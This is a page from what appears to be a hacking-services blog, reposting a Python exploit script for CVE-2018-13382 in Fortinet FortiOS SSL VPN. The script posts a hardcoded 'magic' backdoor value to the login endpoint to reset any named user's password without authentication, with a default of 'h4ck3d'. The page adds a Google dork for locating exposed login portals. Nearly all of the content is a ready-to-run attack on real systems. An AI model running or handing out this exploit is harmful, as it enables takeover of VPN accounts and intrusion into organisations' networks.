Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863108160

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Fortinet FortiOS 6.0.4 - Unauthenticated SSL VPN User Password Modification
# Google Dork: intitle:"Please Login" "Use FTM Push"
# Date: 15/11/2020
# Exploit Author: Ricardo Longatto
# Details: This exploit allow change users password from SSLVPN web portal
# Vendor Homepage: https://www.fortinet.com/
# Version: Exploit to Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.8 and 5.4.1 to 5.4.10.
# Tested on: 6.0.4
# NVD: https://nvd.nist.gov/vuln/detail/CVE-2018-13382
# CVE : CVE-2018-13382
# Credits: Vulnerability by Meh Chang and Orange Tsai.

#!/usr/bin/env python

import requests, urllib3, sys, re, argparse
urllib3.disable_warnings()

menu = argparse.ArgumentParser(description = "[+] Exploit FortiOS Magic backdoor - CVE-2018-13382 [+]")
menu.add_argument('-t', metavar='Target/Host IP', required=True)
menu.add_argument('-p', metavar='Port', required=True)
menu.add_argument('-u', metavar='User', required=True)
menu.add_argument('--setpass', metavar='SetNewPass', default='h4ck3d', help='set the password for user, if you not set, the default password will be set to h4ck3d')
op = menu.parse_args()

host = op.t
port = op.p
user = op.u
setpass = op.setpass

url = "https://"+host+":"+port+"/remote/logincheck"
exploit = {'ajax':'1','username':user,'magic':'4tinet2095866','credential':setpass}
r = requests.post(url, verify=False, data = exploit)

if re.search("/remote/hostcheck_install",r.text):
    print "[+] - The new password to ["+user+"] is "+setpass+" <<<< [+]"
else:
    print "Exploit Failed. :/"